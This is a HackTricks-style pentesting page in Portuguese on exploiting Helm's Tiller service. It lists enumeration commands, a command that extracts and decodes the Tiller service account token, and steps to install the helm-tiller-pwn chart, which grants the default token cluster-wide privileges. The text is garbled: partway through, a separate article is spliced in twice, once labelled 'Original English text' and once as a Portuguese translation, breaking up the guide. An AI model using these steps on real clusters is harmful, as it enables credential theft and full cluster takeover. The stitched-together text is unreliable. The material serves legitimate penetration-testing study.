hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md
2023-06-06 18:56:34 +00:00

9.6 KiB

Informação Básica

Helm é o gerenciador de pacotes para Kubernetes. Ele permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de Helm Charts. Tiller é o serviço que é executado por padrão na porta 44134 oferecendo o serviço.

Porta padrão: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeração

Se você pode enumerar pods e/ou serviços de diferentes namespaces, enumere-os e procure pelos que possuem "tiller" em seu nome:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Original English text:

Pentesting Tiller (Helm)

Introduction

Helm is a package manager for Kubernetes that allows developers and operators to more easily package, configure, and deploy applications and services onto Kubernetes clusters. Helm is composed of two main components: the Helm client and the Tiller server. The Helm client is a command-line tool that allows users to interact with the Tiller server, which is responsible for managing the lifecycle of Kubernetes resources created by Helm charts.

Tiller Security

Tiller is a privileged component of the Kubernetes cluster, with the ability to create, modify, and delete any Kubernetes resource in any namespace. As such, it is important to ensure that Tiller is properly secured to prevent unauthorized access and potential compromise of the entire cluster.

Pentesting Tiller

Tiller Deployment

The first step in pentesting Tiller is to identify the Tiller deployment within the Kubernetes cluster. This can be done using the kubectl command-line tool:

$ kubectl get deployments --all-namespaces | grep tiller-deploy
kube-system tiller-deploy-5c6f9c7c7f-8q8qz 1/1 Running 0 2m

Once the Tiller deployment has been identified, the next step is to obtain the Tiller service account token. This token is used by the Helm client to authenticate with the Tiller server and issue commands.

Tiller Service Account Token

The Tiller service account token can be obtained using the kubectl command-line tool:

$ kubectl get secret --namespace kube-system $(kubectl get serviceaccount --namespace kube-system tiller -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 --decode

The output of this command will be the Tiller service account token, which can be used to authenticate with the Tiller server.

Tiller API

Once the Tiller service account token has been obtained, the next step is to interact with the Tiller API. This can be done using the Helm client:

$ helm init --client-only
$ export TILLER_NAMESPACE=kube-system
$ helm list

The helm init --client-only command initializes the Helm client and sets the Tiller namespace to kube-system. The helm list command then lists all of the releases managed by Tiller.

Tiller Exploitation

With access to the Tiller API, an attacker can perform a variety of actions, including:

  • Listing all of the releases managed by Tiller
  • Installing new releases
  • Upgrading existing releases
  • Deleting releases
  • Reading and modifying the Kubernetes resources managed by Tiller

To exploit Tiller, an attacker can use the Helm client to install a malicious chart that includes a backdoor or other malicious code. Once the chart has been installed, the attacker can use the Tiller API to execute the backdoor or other malicious code.

Conclusion

Tiller is a critical component of the Helm package manager for Kubernetes, and as such, it is important to ensure that it is properly secured. Pentesting Tiller can help identify potential vulnerabilities and weaknesses in the Tiller deployment, allowing organizations to take steps to mitigate these risks.

Translated text:

Pentesting Tiller (Helm)

Introdução

O Helm é um gerenciador de pacotes para Kubernetes que permite que desenvolvedores e operadores empacotem, configurem e implantem aplicativos e serviços em clusters Kubernetes com mais facilidade. O Helm é composto por dois componentes principais: o cliente Helm e o servidor Tiller. O cliente Helm é uma ferramenta de linha de comando que permite aos usuários interagir com o servidor Tiller, que é responsável por gerenciar o ciclo de vida dos recursos Kubernetes criados pelos gráficos Helm.

Segurança do Tiller

O Tiller é um componente privilegiado do cluster Kubernetes, com a capacidade de criar, modificar e excluir qualquer recurso Kubernetes em qualquer namespace. Como tal, é importante garantir que o Tiller esteja devidamente protegido para evitar acesso não autorizado e possível comprometimento de todo o cluster.

Pentesting Tiller

Implantação do Tiller

O primeiro passo na pentesting do Tiller é identificar a implantação do Tiller dentro do cluster Kubernetes. Isso pode ser feito usando a ferramenta de linha de comando kubectl:

$ kubectl get deployments --all-namespaces | grep tiller-deploy
kube-system tiller-deploy-5c6f9c7c7f-8q8qz 1/1 Running 0 2m

Depois que a implantação do Tiller for identificada, o próximo passo é obter o token da conta de serviço do Tiller. Este token é usado pelo cliente Helm para autenticar-se com o servidor Tiller e emitir comandos.

Token da conta de serviço do Tiller

O token da conta de serviço do Tiller pode ser obtido usando a ferramenta de linha de comando kubectl:

$ kubectl get secret --namespace kube-system $(kubectl get serviceaccount --namespace kube-system tiller -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 --decode

A saída deste comando será o token da conta de serviço do Tiller, que pode ser usado para autenticar-se com o servidor Tiller.

API do Tiller

Depois que o token da conta de serviço do Tiller for obtido, o próximo passo é interagir com a API do Tiller. Isso pode ser feito usando o cliente Helm:

$ helm init --client-only
$ export TILLER_NAMESPACE=kube-system
$ helm list

O comando helm init --client-only inicializa o cliente Helm e define o namespace do Tiller como kube-system. O comando helm list lista todos os lançamentos gerenciados pelo Tiller.

Exploração do Tiller

Com acesso à API do Tiller, um invasor pode realizar uma variedade de ações, incluindo:

  • Listar todos os lançamentos gerenciados pelo Tiller
  • Instalar novos lançamentos
  • Atualizar lançamentos existentes
  • Excluir lançamentos
  • Ler e modificar os recursos Kubernetes gerenciados pelo Tiller

Para explorar o Tiller, um invasor pode usar o cliente Helm para instalar um gráfico malicioso que inclui uma porta dos fundos ou outro código malicioso. Depois que o gráfico for instalado, o invasor pode usar a API do Tiller para executar a porta dos fundos ou outro código malicioso.

Conclusão

O Tiller é um componente crítico do gerenciador de pacotes Helm para Kubernetes e, como tal, é importante garantir que esteja devidamente protegido. A pentesting do Tiller pode ajudar a identificar possíveis vulnerabilidades e fraquezas na implantação do Tiller, permitindo que as organizações tomem medidas para mitigar esses riscos.

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Você também pode tentar encontrar este serviço em execução verificando a porta 44134:

sudo nmap -sS -p 44134 <IP>

Depois de descobri-lo, você pode se comunicar com ele baixando o aplicativo cliente helm. Você pode usar ferramentas como homebrew, ou olhar a página oficial de lançamentos. Para mais detalhes, ou para outras opções, veja o guia de instalação.

Então, você pode enumerar o serviço:

helm --host tiller-deploy.kube-system:44134 version

Escalação de Privilégios

Por padrão, o Helm2 foi instalado no namespace kube-system com privilégios elevados, portanto, se você encontrar o serviço e tiver acesso a ele, isso poderá permitir que você elevasse seus privilégios.

Tudo o que você precisa fazer é instalar um pacote como este: https://github.com/Ruil1n/helm-tiller-pwn que dará ao token de serviço padrão acesso a tudo no cluster inteiro.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Em http://rui0.cn/archives/1573 você tem a explicação do ataque, mas basicamente, se você ler os arquivos clusterrole.yaml e clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ você pode ver como todos os privilégios estão sendo dados ao token padrão.